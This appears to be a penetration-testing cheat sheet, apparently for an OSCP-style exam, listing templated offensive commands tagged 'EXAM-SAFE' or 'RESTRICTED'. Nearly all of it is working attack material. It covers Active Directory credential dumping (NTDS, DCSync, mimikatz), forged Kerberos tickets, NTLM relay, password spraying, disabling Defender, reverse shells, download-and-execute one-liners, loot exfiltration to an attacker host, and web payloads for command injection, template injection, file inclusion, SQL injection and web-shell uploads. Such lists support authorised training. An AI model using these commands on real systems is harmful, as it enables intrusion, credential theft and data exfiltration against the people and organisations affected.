mssql ✓ EXAM-SAFE
SELECT SYSTEM_USER; EXECUTE AS LOGIN = 'sa'; SELECT SYSTEM_USER; SELECT IS_SRVROLEMEMBER('sysadmin');
mssql ✓ EXAM-SAFE
SELECT distinct b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = 'IMPERSONATE';
mssql ✓ EXAM-SAFE
EXEC sp_linkedservers; SELECT srvname, isremote FROM sysservers;
mssql ✓ EXAM-SAFE
EXEC ('SELECT SYSTEM_USER; SELECT IS_SRVROLEMEMBER(''sysadmin'')') AT [LINKED\SQL];
mssql ✓ EXAM-SAFE
EXEC ('EXEC sp_configure ''show advanced options'',1; RECONFIGURE; EXEC sp_configure ''xp_cmdshell'',1; RECONFIGURE; EXEC xp_cmdshell ''whoami''') AT [LINKED\SQL];
mssql ✓ EXAM-SAFE
nxc mssql {{RHOST}} -u {{USER}} -p '{{PASS}}' -M mssql_priv
netexec ✓ EXAM-SAFE
EXEC master..xp_dirtree '\\{{LHOST}}\share', 1, 1;
mssql ✓ EXAM-SAFE
responder -I {{INTERFACE}} -wv
responder ✓ EXAM-SAFE
impacket-ntlmrelayx -t smb://{{RHOST}} -smb2support --no-http-server -i
impacket-ntlmrelayx ✓ EXAM-SAFE
EXEC master..xp_subdirs '\\{{LHOST}}\share';
mssql ✓ EXAM-SAFE
vssadmin create shadow /for=C:
cmd ✓ EXAM-SAFE
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\Windows\Temp\ntds.dit
cmd ✓ EXAM-SAFE
reg save HKLM\SYSTEM C:\Windows\Temp\system.hive
reg ✓ EXAM-SAFE
diskshadow /s C:\Windows\Temp\ds.txt
diskshadow ✓ EXAM-SAFE
ntdsutil "ac i ntds" "ifm" "create full C:\Windows\Temp\ifm" q q
ntdsutil ✓ EXAM-SAFE
impacket-secretsdump -ntds ntds.dit -system system.hive LOCAL
impacket-secretsdump ✓ EXAM-SAFE
impacket-secretsdump -ntds ntds.dit -system system.hive -security security.hive LOCAL
impacket-secretsdump ✓ EXAM-SAFE
nxc smb {{DC_IP}} -u {{USER}} -p {{PASS}} --ntds vss
netexec ✓ EXAM-SAFE
lsadump::dcsync /domain:{{DOMAIN}} /user:krbtgt
mimikatz ✓ EXAM-SAFE
privilege::debug; misc::skeleton
mimikatz ⚠ RESTRICTED
lsadump::lsa /inject /name:krbtgt
mimikatz ✓ EXAM-SAFE
token::elevate; lsadump::sam
mimikatz ✓ EXAM-SAFE
New-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\Lsa' -Name DsrmAdminLogonBehavior -Value 2 -PropertyType DWORD -Force
powershell ✓ EXAM-SAFE
misc::memssp
mimikatz ⚠ RESTRICTED
lsadump::dcshadow /object:CN=target,CN=Users,DC=corp,DC=local /attribute:SIDHistory /value:S-1-5-21-...-519
mimikatz ⚠ RESTRICTED
Add-DomainObjectAcl -TargetIdentity "DC={{DOMAIN}}" -PrincipalIdentity {{USER}} -Rights DCSync
powerview ✓ EXAM-SAFE
Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,DC={{DOMAIN}}' -PrincipalIdentity {{USER}} -Rights All
powerview ✓ EXAM-SAFE
nxc smb {{DC_IP}} -u {{USER}} -p {{PASS}} -M ntdsutil
netexec ✓ EXAM-SAFE
impacket-secretsdump -just-dc {{DOMAIN}}/{{USER}}:{{PASS}}@{{DC_IP}}
impacket ✓ EXAM-SAFE
responder -I {{INTERFACE}} -wd
responder ✓ EXAM-SAFE
responder -I {{INTERFACE}} -A
responder ✓ EXAM-SAFE
grep -ri 'NTLMv2' /usr/share/responder/logs/ ; ls -la /usr/share/responder/logs/
responder ✓ EXAM-SAFE
hashcat -m 5600 hashes.txt {{WORDLIST}}
hashcat ✓ EXAM-SAFE
mitm6 -d {{DOMAIN}} -i {{INTERFACE}}
mitm6 ✓ EXAM-SAFE
impacket-ntlmrelayx -6 -t ldaps://{{DC_IP}} -wh attacker-wpad --delegate-access
impacket-ntlmrelayx ✓ EXAM-SAFE
nxc smb {{RHOSTS}} --gen-relay-list relay_targets.txt
nxc ✓ EXAM-SAFE
nxc ldap {{DC_IP}} -u {{USER}} -p {{PASS}} -M maq
netexec ✓ EXAM-SAFE
impacket-addcomputer -computer-name 'FAKE01$' -computer-pass 'Fake123!' -dc-host {{DC_HOST}} -domain-netbios {{DOMAIN}} '{{DOMAIN}}/{{USER}}:{{PASS}}'
impacket ✓ EXAM-SAFE
impacket-rbcd -delegate-from 'FAKE01$' -delegate-to '{{DC_HOST}}$' -action write '{{DOMAIN}}/{{USER}}:{{PASS}}'
impacket ✓ EXAM-SAFE
impacket-getST -spn cifs/{{DC_HOST}} -impersonate Administrator '{{DOMAIN}}/FAKE01$:Fake123!'
impacket ✓ EXAM-SAFE
KRB5CCNAME=Administrator@cifs_{{DC_HOST}}.ccache impacket-psexec -k -no-pass {{DOMAIN}}/Administrator@{{DC_HOST}}
impacket ✓ EXAM-SAFE
Set-DomainRBCD -Identity {{DC_HOST}} -DelegateFrom 'FAKE01$'
powershell ✓ EXAM-SAFE
Rubeus.exe hash /password:Fake123! /user:FAKE01$ /domain:{{DOMAIN}}
rubeus ✓ EXAM-SAFE
Rubeus.exe s4u /user:FAKE01$ /aes256:<AES256_KEY> /impersonateuser:Administrator /msdsspn:cifs/{{DC_HOST}} /ptt
rubeus ✓ EXAM-SAFE
nxc ldap {{DC_IP}} -u {{USER}} -p {{PASS}} --delegate Administrator
netexec ✓ EXAM-SAFE
python3 sccmhunter.py find -u {{USER}} -p {{PASS}} -d {{DOMAIN}} -dc-ip {{DC_IP}}
sccmhunter ✓ EXAM-SAFE
python3 sccmhunter.py smb -u {{USER}} -p {{PASS}} -d {{DOMAIN}} -dc-ip {{DC_IP}} -save
sccmhunter ✓ EXAM-SAFE
python3 sccmhunter.py http -u {{USER}} -p {{PASS}} -d {{DOMAIN}} -dc-ip {{DC_IP}} --auto
sccmhunter ✓ EXAM-SAFE
SharpSCCM.exe get secrets -u {{USER}} -p {{PASS}}
SharpSCCM ✓ EXAM-SAFE
python3 pxethief.py 1 {{RHOST}}
pxethief ✓ EXAM-SAFE
impacket-ntlmrelayx -t http://{{RHOST}}/ccm_system_windowsauth/request -smb2support --adcs
ntlmrelayx ✓ EXAM-SAFE
python3 sccmhunter.py admin -u {{USER}} -p {{PASS}} -ip {{RHOST}}
sccmhunter ✓ EXAM-SAFE
SCCMHunter#> get_user {{USER}}; add_admin {{USER}} S-1-5-21-...
sccmhunter ✓ EXAM-SAFE
SharpSCCM.exe exec -d "All Systems" -p "reverse_shell" --run-as-system
SharpSCCM ⚠ RESTRICTED
nxc smb {{RHOSTS}} -u {{USER}} -H {{NTHASH}} -d {{DOMAIN}}
netexec ✓ EXAM-SAFE
kerbrute passwordspray -d {{DOMAIN}} --dc {{DC_IP}} users.txt '{{PASS}}'
kerbrute ✓ EXAM-SAFE
nxc smb {{DC_IP}} -u users.txt -p '{{PASS}}' --continue-on-success
netexec ✓ EXAM-SAFE
nxc ldap {{DC_IP}} -u users.txt -p '{{PASS}}' --continue-on-success
netexec ✓ EXAM-SAFE
nxc smb {{DC_IP}} -u '{{USER}}' -p passwords.txt --continue-on-success
netexec ✓ EXAM-SAFE
nxc smb {{DC_IP}} -u '' -p '' --pass-pol
netexec ✓ EXAM-SAFE
kerbrute passwordspray -d {{DOMAIN}} --dc {{DC_IP}} users.txt '{{PASS}}' --safe
kerbrute ✓ EXAM-SAFE
nxc smb {{DC_IP}} -u users.txt -H {{NTHASH}} --continue-on-success
netexec ✓ EXAM-SAFE
Invoke-PasswordSprayOWA -ExchHostname {{RHOST}} -UserList users.txt -Password '{{PASS}}'
MailSniper ✓ EXAM-SAFE
o365spray --spray -U users.txt -p '{{PASS}}' --domain {{DOMAIN}}
o365spray ✓ EXAM-SAFE
Invoke-MSOLSpray -UserList users.txt -Password '{{PASS}}'
MSOLSpray ✓ EXAM-SAFE
impacket-ticketer -nthash {{NTHASH}} -domain-sid {{DOMAIN_SID}} -domain {{DOMAIN}} Administrator
impacket ✓ EXAM-SAFE
impacket-ticketer -aesKey {{NTHASH}} -domain-sid {{DOMAIN_SID}} -domain {{DOMAIN}} -user-id 500 -groups 512,513,518,519,520 Administrator
impacket ✓ EXAM-SAFE
impacket-ticketer -nthash {{NTHASH}} -domain-sid {{DOMAIN_SID}} -domain {{DOMAIN}} -spn cifs/{{DC_HOST}} Administrator
impacket ✓ EXAM-SAFE
export KRB5CCNAME=$(pwd)/Administrator.ccache; impacket-psexec -k -no-pass {{DOMAIN}}/Administrator@{{DC_HOST}}
impacket ✓ EXAM-SAFE
nxc smb {{DC_HOST}} --use-kcache -x "whoami"
netexec ✓ EXAM-SAFE
Rubeus.exe golden /rc4:{{NTHASH}} /domain:{{DOMAIN}} /sid:{{DOMAIN_SID}} /user:Administrator /ptt
rubeus ✓ EXAM-SAFE
Rubeus.exe silver /service:cifs/{{DC_HOST}} /rc4:{{NTHASH}} /sid:{{DOMAIN_SID}} /domain:{{DOMAIN}} /user:Administrator /ptt
rubeus ✓ EXAM-SAFE
Rubeus.exe diamond /tgtdeleg /ticketuser:Administrator /ticketuserid:500 /groups:512 /krbkey:{{NTHASH}} /nowrap
rubeus ✓ EXAM-SAFE
kerberos::golden /user:Administrator /domain:{{DOMAIN}} /sid:{{DOMAIN_SID}} /krbtgt:{{NTHASH}} /id:500 /groups:512,513,518,519,520 /ptt
mimikatz ✓ EXAM-SAFE
kerberos::golden /user:Administrator /domain:{{DOMAIN}} /sid:{{DOMAIN_SID}} /target:{{DC_HOST}} /service:cifs /rc4:{{NTHASH}} /ptt
mimikatz ✓ EXAM-SAFE
lsadump::dcsync /domain:{{DOMAIN}} /user:krbtgt
mimikatz ✓ EXAM-SAFE
impacket-getPac -targetUser Administrator {{DOMAIN}}/{{USER}}:{{PASS}}
impacket ✓ EXAM-SAFE
Get-DomainTrust -Domain {{DOMAIN}}
powerview ✓ EXAM-SAFE
Get-DomainTrustMapping
powerview ✓ EXAM-SAFE
nltest /domain_trusts /all_trusts
cmd ✓ EXAM-SAFE
nxc ldap {{DC_IP}} -u {{USER}} -p {{PASS}} -M enum_trusts
netexec ✓ EXAM-SAFE
impacket-ticketer -nthash {{NTHASH}} -domain-sid {{DOMAIN_SID}} -domain child.{{DOMAIN}} -extra-sid S-1-5-21-PARENTSID-519 Administrator
impacket ✓ EXAM-SAFE
kerberos::golden /user:Administrator /domain:child.{{DOMAIN}} /sid:{{DOMAIN_SID}} /krbtgt:{{NTHASH}} /sids:S-1-5-21-PARENTSID-519 /ptt
mimikatz ✓ EXAM-SAFE
impacket-raiseChild {{DOMAIN}}/{{USER}}:{{PASS}}
impacket ✓ EXAM-SAFE
impacket-getST -spn cifs/{{DC_HOST}} -impersonate Administrator {{DOMAIN}}/{{USER}}:{{PASS}}
impacket ✓ EXAM-SAFE
nxc ldap {{DC_IP}} -u {{USER}} -p {{PASS}} --gmsa
netexec ✓ EXAM-SAFE
python3 gMSADumper.py -u {{USER}} -p {{PASS}} -d {{DOMAIN}}
gMSADumper ✓ EXAM-SAFE
GoldenGMSA.exe compute --sid {{DOMAIN_SID}} --kdskey <KDSRootKeyB64>
GoldenGMSA ✓ EXAM-SAFE
impacket-mssqlclient {{DOMAIN}}/{{USER}}:{{PASS}}@{{RHOST}} -windows-auth
mssqlclient ✓ EXAM-SAFE
enum_links
mssqlclient ✓ EXAM-SAFE
EXEC ('EXEC sp_configure ''xp_cmdshell'',1; RECONFIGURE; EXEC xp_cmdshell ''whoami'';') AT [LINKED\SERVER]
mssqlclient ⚠ RESTRICTED
kerbrute userenum -d {{DOMAIN}} --dc {{DC_IP}} {{WORDLIST}}
kerbrute ✓ EXAM-SAFE
kerbrute userenum -d {{DOMAIN}} --dc {{DC_IP}} /usr/share/seclists/Usernames/Names/names.txt
kerbrute ✓ EXAM-SAFE
impacket-lookupsid {{DOMAIN}}/guest@{{DC_IP}} -no-pass
impacket-lookupsid ✓ EXAM-SAFE
nxc smb {{DC_IP}} -u guest -p '' --rid-brute 10000
nxc ✓ EXAM-SAFE
nxc smb {{DC_IP}} -u {{USER}} -p {{PASS}} --users
nxc ✓ EXAM-SAFE
username-anarchy -i names.txt > userlist.txt
username-anarchy ✓ EXAM-SAFE
impacket-GetNPUsers {{DOMAIN}}/ -dc-ip {{DC_IP}} -usersfile userlist.txt -no-pass
impacket-GetNPUsers ✓ EXAM-SAFE
Invoke-UsernameHarvestOWA -ExchHostname {{RHOST}} -Domain {{DOMAIN}} -UserList userlist.txt -OutFile valid.txt
MailSniper ⚠ RESTRICTED
echo "{{DC_IP}} {{DC_HOST}} {{DOMAIN}} {{DC_HOST}}.{{DOMAIN}}" | sudo tee -a /etc/hosts
bash ✓ EXAM-SAFE
sudo ntpdate -u {{DC_IP}}
ntpdate ✓ EXAM-SAFE
nmap -Pn -p- --min-rate 2000 -sV -sC -oA resourced {{DC_IP}}
nmap ✓ EXAM-SAFE
nxc smb {{DC_IP}} -u '' -p '' --shares
netexec ✓ EXAM-SAFE
nxc smb {{DC_IP}} -u '' -p '' --rid-brute 10000
netexec ✓ EXAM-SAFE
impacket-lookupsid {{DOMAIN}}/anonymous@{{DC_IP}} -no-pass
impacket-lookupsid ✓ EXAM-SAFE
enum4linux-ng -A -u '' -p '' {{DC_IP}}
enum4linux-ng ✓ EXAM-SAFE
nxc ldap {{DC_IP}} -u '{{USER}}' -p '{{PASS}}' --query "(objectClass=user)" "sAMAccountName description"
netexec ✓ EXAM-SAFE
nxc smb {{DC_IP}} -u '{{USER}}' -p '{{PASS}}' --shares
netexec ✓ EXAM-SAFE
smbclient \\\\{{DC_IP}}\\"Password Audit" -U '{{DOMAIN}}/{{USER}}%{{PASS}}'
smbclient ✓ EXAM-SAFE
impacket-secretsdump -ntds ntds.dit -system SYSTEM LOCAL
impacket-secretsdump ✓ EXAM-SAFE
nxc winrm {{DC_IP}} -u 'L.Livingstone' -H {{NTHASH}}
netexec ✓ EXAM-SAFE
evil-winrm -i {{DC_IP}} -u L.Livingstone -H {{NTHASH}}
evil-winrm ✓ EXAM-SAFE
bloodhound-python -d {{DOMAIN}} -u L.Livingstone --hashes :{{NTHASH}} -ns {{DC_IP}} -c All --zip
bloodhound-python ✓ EXAM-SAFE
impacket-addcomputer -computer-name 'ATTACK$' -computer-pass 'Attack123!' -dc-host {{DC_HOST}} -domain-netbios {{DOMAIN}} '{{DOMAIN}}/L.Livingstone' -hashes :{{NTHASH}}
impacket-addcomputer ✓ EXAM-SAFE
impacket-rbcd -delegate-from 'ATTACK$' -delegate-to 'RESOURCEDC$' -action write -dc-ip {{DC_IP}} '{{DOMAIN}}/L.Livingstone' -hashes :{{NTHASH}}
impacket-rbcd ✓ EXAM-SAFE
impacket-getST -spn 'cifs/{{DC_HOST}}' -impersonate Administrator -dc-ip {{DC_IP}} '{{DOMAIN}}/ATTACK$:Attack123!'
impacket-getST ✓ EXAM-SAFE
export KRB5CCNAME=$(pwd)/Administrator.ccache
bash ✓ EXAM-SAFE
impacket-secretsdump -k -no-pass {{DC_HOST}}.{{DOMAIN}} -just-dc-user Administrator
impacket-secretsdump ✓ EXAM-SAFE
evil-winrm -i {{DC_IP}} -u Administrator -H {{NTHASH}}
evil-winrm ✓ EXAM-SAFE
DefenderCheck.exe Invoke-Mimikatz.ps1
DefenderCheck ✓ EXAM-SAFE
Set-MpPreference -DisableRealtimeMonitoring $true
powershell ✓ EXAM-SAFE
Add-MpPreference -ExclusionPath 'C:\Windows\Temp'
powershell ✓ EXAM-SAFE
Get-MpComputerStatus | Select RealTimeProtectionEnabled,AntivirusEnabled,IsTamperProtected
powershell ✓ EXAM-SAFE
sc query windefend
sc ✓ EXAM-SAFE
evil-winrm -i {{RHOST}} -u {{USER}} -p {{PASS}}
evil-winrm ✓ EXAM-SAFE
evil-winrm -i {{RHOST}} -u {{USER}} -H {{NTHASH}}
evil-winrm ✓ EXAM-SAFE
evil-winrm -i {{DC_HOST}} -r {{DOMAIN}} -u {{USER}}
evil-winrm ✓ EXAM-SAFE
evil-winrm -i {{RHOST}} -u {{USER}} -p {{PASS}} -s /opt/scripts/ -e /opt/executables/
evil-winrm ✓ EXAM-SAFE
evil-winrm -i {{RHOST}} -u {{USER}} -p {{PASS}} -S
evil-winrm ✓ EXAM-SAFE
upload /home/kali/winPEASx64.exe C:\Windows\Temp\winPEAS.exe
evil-winrm-prompt ✓ EXAM-SAFE
download C:\Users\{{USER}}\Desktop\proof.txt /home/kali/proof.txt
evil-winrm-prompt ✓ EXAM-SAFE
netexec winrm {{RHOST}} -u {{USER}} -p {{PASS}}
netexec ✓ EXAM-SAFE
impacket-psexec {{DOMAIN}}/{{USER}}:{{PASS}}@{{RHOST}}
impacket-psexec ✓ EXAM-SAFE
impacket-wmiexec {{DOMAIN}}/{{USER}}:{{PASS}}@{{RHOST}}
impacket-wmiexec ✓ EXAM-SAFE
impacket-smbexec {{DOMAIN}}/{{USER}}:{{PASS}}@{{RHOST}}
impacket-smbexec ✓ EXAM-SAFE
impacket-secretsdump {{DOMAIN}}/{{USER}}:{{PASS}}@{{RHOST}}
impacket-secretsdump ✓ EXAM-SAFE
impacket-secretsdump -just-dc {{DOMAIN}}/{{USER}}:{{PASS}}@{{DC_IP}}
impacket-secretsdump ✓ EXAM-SAFE
impacket-GetNPUsers {{DOMAIN}}/ -dc-ip {{DC_IP}} -usersfile {{WORDLIST}} -no-pass -format hashcat
impacket-GetNPUsers ✓ EXAM-SAFE
impacket-GetUserSPNs {{DOMAIN}}/{{USER}}:{{PASS}} -dc-ip {{DC_IP}} -request -outputfile spns.hash
impacket-GetUserSPNs ✓ EXAM-SAFE
impacket-getST -spn cifs/{{DC_HOST}} -impersonate Administrator {{DOMAIN}}/{{USER}}:{{PASS}} -dc-ip {{DC_IP}}
impacket-getST ✓ EXAM-SAFE
impacket-ntlmrelayx -tf targets.txt -smb2support
impacket-ntlmrelayx ⚠ RESTRICTED
impacket-atexec {{DOMAIN}}/{{USER}}:{{PASS}}@{{RHOST}} "whoami"
impacket-atexec ✓ EXAM-SAFE
impacket-psexec -hashes :{{NTHASH}} {{DOMAIN}}/{{USER}}@{{RHOST}}
impacket-psexec ✓ EXAM-SAFE
privilege::debug
mimikatz ✓ EXAM-SAFE
sekurlsa::logonpasswords
mimikatz ✓ EXAM-SAFE
sekurlsa::pth /user:{{USER}} /domain:{{DOMAIN}} /ntlm:{{NTHASH}} /run:cmd.exe
mimikatz ✓ EXAM-SAFE
lsadump::sam
mimikatz ✓ EXAM-SAFE
lsadump::dcsync /domain:{{DOMAIN}} /user:{{DOMAIN}}\krbtgt
mimikatz ✓ EXAM-SAFE
kerberos::ptt ticket.kirbi
mimikatz ✓ EXAM-SAFE
lsadump::lsa /patch
mimikatz ✓ EXAM-SAFE
sekurlsa::tickets /export
mimikatz ✓ EXAM-SAFE
rlwrap nc -lvnp {{LPORT}}
nc ✓ EXAM-SAFE
powershell -nop -W hidden -c "$c=New-Object Net.Sockets.TCPClient('{{LHOST}}',{{LPORT}});$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$r=(iex $d 2>&1|Out-String);$sb=([Text.Encoding]::ASCII).GetBytes($r+'PS '+(pwd).Path+'> ');$s.Write($sb,0,$sb.Length);$s.Flush()}"
powershell ✓ EXAM-SAFE
powershell -nop -c "IEX(New-Object Net.WebClient).DownloadString('http://{{LHOST}}/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress {{LHOST}} -Port {{LPORT}}"
powershell ✓ EXAM-SAFE
nc.exe {{LHOST}} {{LPORT}} -e cmd.exe
nc.exe ✓ EXAM-SAFE
IEX(IWR http://{{LHOST}}/Invoke-ConPtyShell.ps1 -UseBasicParsing);Invoke-ConPtyShell {{LHOST}} {{LPORT}}
powershell ✓ EXAM-SAFE
stty raw -echo; (stty size; cat) | nc -lvnp {{LPORT}}
stty ✓ EXAM-SAFE
msfvenom -p windows/x64/shell_reverse_tcp LHOST={{LHOST}} LPORT={{LPORT}} -f exe -o shell.exe
msfvenom ✓ EXAM-SAFE
msfvenom -p windows/x64/shell_reverse_tcp LHOST={{LHOST}} LPORT={{LPORT}} EXITFUNC=thread -f dll -o evil.dll
msfvenom ✓ EXAM-SAFE
python3 -m http.server 80
python3 ✓ EXAM-SAFE
impacket-smbserver share ./ -smb2support -username {{USER}} -password {{PASS}}
impacket-smbserver ✓ EXAM-SAFE
certutil -urlcache -split -f http://{{LHOST}}/nc.exe C:\Windows\Temp\nc.exe
certutil ✓ EXAM-SAFE
powershell -c "Invoke-WebRequest -Uri http://{{LHOST}}/nc.exe -OutFile C:\Windows\Temp\nc.exe"
powershell ✓ EXAM-SAFE
powershell -c "(New-Object Net.WebClient).DownloadFile('http://{{LHOST}}/nc.exe','C:\Windows\Temp\nc.exe')"
powershell ✓ EXAM-SAFE
powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://{{LHOST}}/script.ps1')"
powershell ✓ EXAM-SAFE
bitsadmin /transfer job /download /priority high http://{{LHOST}}/nc.exe C:\Windows\Temp\nc.exe
bitsadmin ✓ EXAM-SAFE
copy \\{{LHOST}}\share\nc.exe C:\Windows\Temp\nc.exe
cmd ✓ EXAM-SAFE
copy C:\Users\victim\loot.zip \\{{LHOST}}\share\loot.zip
cmd ✓ EXAM-SAFE
wget.exe http://{{LHOST}}/nc.exe -O C:\Windows\Temp\nc.exe
wget.exe ✓ EXAM-SAFE
certutil -encode loot.bin loot.b64
certutil ✓ EXAM-SAFE
powershell -c "[IO.File]::WriteAllBytes('C:\Windows\Temp\nc.exe',[Convert]::FromBase64String('TVqQAAM...'))"
powershell ✓ EXAM-SAFE
scp loot.zip {{USER}}@{{LHOST}}:/home/{{USER}}/loot.zip
scp ✓ EXAM-SAFE
python3 -m http.server {{LPORT}}
python3 ✓ EXAM-SAFE
python -m SimpleHTTPServer {{LPORT}}
python2 ✓ EXAM-SAFE
wget http://{{LHOST}}:{{LPORT}}/linpeas.sh -O /tmp/linpeas.sh
wget ✓ EXAM-SAFE
curl http://{{LHOST}}:{{LPORT}}/linpeas.sh -o /tmp/linpeas.sh
curl ✓ EXAM-SAFE
curl http://{{LHOST}}:{{LPORT}}/linpeas.sh | bash
curl ✓ EXAM-SAFE
wget -qO- http://{{LHOST}}:{{LPORT}}/linpeas.sh | bash
wget ✓ EXAM-SAFE
nc -lvnp {{LPORT}} > /tmp/loot.tar
nc ✓ EXAM-SAFE
nc {{LHOST}} {{LPORT}} < /tmp/loot.tar
nc ✓ EXAM-SAFE
scp /tmp/loot.tar {{USER}}@{{LHOST}}:/tmp/loot.tar
scp ✓ EXAM-SAFE
scp {{USER}}@{{RHOST}}:/etc/shadow ./shadow
scp ✓ EXAM-SAFE
base64 -w0 /tmp/loot.tar
base64 ✓ EXAM-SAFE
echo {{URL}} | base64 -d > /tmp/tool
base64 ✓ EXAM-SAFE
cat < /dev/tcp/{{LHOST}}/{{LPORT}} > /tmp/tool
bash ✓ EXAM-SAFE
nc -lvnp {{LPORT}} < /tmp/tool
nc ✓ EXAM-SAFE
php -S {{LHOST}}:{{LPORT}}
php ✓ EXAM-SAFE
certutil.exe -urlcache -split -f http://{{LHOST}}:{{LPORT}}/file.exe C:\\Windows\\Temp\\file.exe
certutil ✓ EXAM-SAFE
curl -s 'http://{{RHOST}}:{{RPORT}}/ping?ip=127.0.0.1;id'
curl ✓ EXAM-SAFE
curl -s 'http://{{RHOST}}:{{RPORT}}/ping?ip=127.0.0.1%7Cid' -G
curl ✓ EXAM-SAFE
curl -s 'http://{{RHOST}}:{{RPORT}}/api?host=$(id)' --data-urlencode 'host=127.0.0.1 $(id)'
curl ✓ EXAM-SAFE
curl -s -w '%{time_total}\n' 'http://{{RHOST}}:{{RPORT}}/ping?ip=127.0.0.1;sleep+5'
curl ✓ EXAM-SAFE
curl -s 'http://{{RHOST}}:{{RPORT}}/ping?ip=127.0.0.1;nslookup+$(whoami).{{LHOST}}'
curl ✓ EXAM-SAFE
curl -s -G 'http://{{RHOST}}:{{RPORT}}/render' --data-urlencode 'name=${7*7}' --data-urlencode 'name2={{7*7}}'
curl ✓ EXAM-SAFE
curl -s -G 'http://{{RHOST}}:{{RPORT}}/render' --data-urlencode "name={{config.__class__.__init__.__globals__['os'].popen('id').read()}}"
curl ✓ EXAM-SAFE
curl -s -G 'http://{{RHOST}}:{{RPORT}}/render' --data-urlencode "name={{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}"
curl ✓ EXAM-SAFE
curl -s -G 'http://{{RHOST}}:{{RPORT}}/render' --data-urlencode "name={{['id']|filter('system')}}"
curl ✓ EXAM-SAFE
curl -s -G 'http://{{RHOST}}:{{RPORT}}/render' --data-urlencode "name=<#assign ex=\"freemarker.template.utility.Execute\"?new()>${ex(\"id\")}"
curl ✓ EXAM-SAFE
nc -lvnp {{LPORT}}
bash ✓ EXAM-SAFE
curl -s 'http://{{RHOST}}:{{RPORT}}/index.php?page=../../../../etc/passwd'
curl ✓ EXAM-SAFE
curl -s 'http://{{RHOST}}:{{RPORT}}/index.php?page=php://filter/convert.base64-encode/resource=index.php' | base64 -d
curl ✓ EXAM-SAFE
curl -s 'http://{{RHOST}}:{{RPORT}}/index.php?page=php://filter/read=convert.base64-encode/resource=../config/database.php' | base64 -d
curl ✓ EXAM-SAFE
curl -s 'http://{{RHOST}}:{{RPORT}}/index.php?page=php://input&cmd=id' --data-binary '<?php system($_GET["cmd"]); ?>'
curl ✓ EXAM-SAFE
curl -s 'http://{{RHOST}}:{{RPORT}}/index.php?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7Pz4=&cmd=id'
curl ✓ EXAM-SAFE
curl -s -A '<?php system($_GET["c"]); ?>' 'http://{{RHOST}}:{{RPORT}}/'
curl ✓ EXAM-SAFE
curl -s 'http://{{RHOST}}:{{RPORT}}/index.php?page=/var/log/apache2/access.log&c=id'
curl ✓ EXAM-SAFE
ssh '<?php system($_GET["c"]); ?>'@{{RHOST}}
ssh ✓ EXAM-SAFE
curl -s 'http://{{RHOST}}:{{RPORT}}/index.php?page=/var/log/auth.log&c=id'
curl ✓ EXAM-SAFE
curl -s 'http://{{RHOST}}:{{RPORT}}/index.php?page=/proc/self/environ' -A '<?php system($_GET["c"]); ?>'
curl ✓ EXAM-SAFE
curl -s 'http://{{RHOST}}:{{RPORT}}/index.php?page=http://{{LHOST}}:{{LPORT}}/shell.txt&cmd=id'
curl ✓ EXAM-SAFE
curl -s 'http://{{RHOST}}:{{RPORT}}/index.php?page=../../../../etc/passwd%00'
curl ✓ EXAM-SAFE
curl -s "http://{{RHOST}}:{{RPORT}}/item.php?id=1'"
curl ✓ EXAM-SAFE
curl -s "http://{{RHOST}}:{{RPORT}}/item.php?id=1' ORDER BY 5-- -"
curl ✓ EXAM-SAFE
curl -s "http://{{RHOST}}:{{RPORT}}/item.php?id=-1' UNION SELECT 1,2,3,4-- -"
curl ✓ EXAM-SAFE
curl -s "http://{{RHOST}}:{{RPORT}}/item.php?id=-1' UNION SELECT 1,version(),current_user(),database()-- -"
curl ✓ EXAM-SAFE
curl -s "http://{{RHOST}}:{{RPORT}}/item.php?id=-1' UNION SELECT 1,table_name,table_schema,4 FROM information_schema.tables-- -"
curl ✓ EXAM-SAFE
curl -s "http://{{RHOST}}:{{RPORT}}/item.php?id=-1' UNION SELECT 1,group_concat(username,0x3a,password),3,4 FROM users-- -"
curl ✓ EXAM-SAFE
curl -s "http://{{RHOST}}:{{RPORT}}/item.php?id=1' AND extractvalue(1,concat(0x7e,(SELECT database())))-- -"
curl ✓ EXAM-SAFE
curl -s "http://{{RHOST}}:{{RPORT}}/item.php?id=1' AND substring(database(),1,1)='a'-- -"
curl ✓ EXAM-SAFE
curl -s -w '%{time_total}\n' "http://{{RHOST}}:{{RPORT}}/item.php?id=1' AND IF(substring(database(),1,1)='a',sleep(5),0)-- -"
curl ✓ EXAM-SAFE
curl -s "http://{{RHOST}}:{{RPORT}}/item.php?id=-1' UNION SELECT 1,'<?php system($_GET[1]); ?>',3,4 INTO OUTFILE '/var/www/html/sh.php'-- -"
curl ✓ EXAM-SAFE
curl -s "http://{{RHOST}}:{{RPORT}}/item.php?id=-1' UNION SELECT 1,load_file('/etc/passwd'),3,4-- -"
curl ✓ EXAM-SAFE
sqlmap -u 'http://{{RHOST}}:{{RPORT}}/item.php?id=1' --batch --dbs
sqlmap ⚠ RESTRICTED
sqlmap -r request.txt --batch --os-shell
sqlmap ⚠ RESTRICTED
msfvenom -p php/reverse_php LHOST={{LHOST}} LPORT={{LPORT}} -f raw -o shell.php
msfvenom ✓ EXAM-SAFE
curl -s -F 'file=@shell.phtml' 'http://{{RHOST}}:{{RPORT}}/upload.php'
curl ✓ EXAM-SAFE
curl -s -F 'file=@shell.php.jpg' 'http://{{RHOST}}:{{RPORT}}/upload.php'
curl ✓ EXAM-SAFE
printf 'GIF89a;\n<?php system($_GET["c"]); ?>' > shell.gif.php
bash ✓ EXAM-SAFE
curl -s -F 'file=@shell.php;type=image/jpeg' 'http://{{RHOST}}:{{RPORT}}/upload.php'
curl ✓ EXAM-SAFE
printf 'AddType application/x-httpd-php .jpg\n' > .htaccess
bash ✓ EXAM-SAFE
curl -s -F 'file=@.htaccess' 'http://{{RHOST}}:{{RPORT}}/upload.php' && curl -s -F 'file=@shell.jpg' 'http://{{RHOST}}:{{RPORT}}/upload.php'
curl ✓ EXAM-SAFE
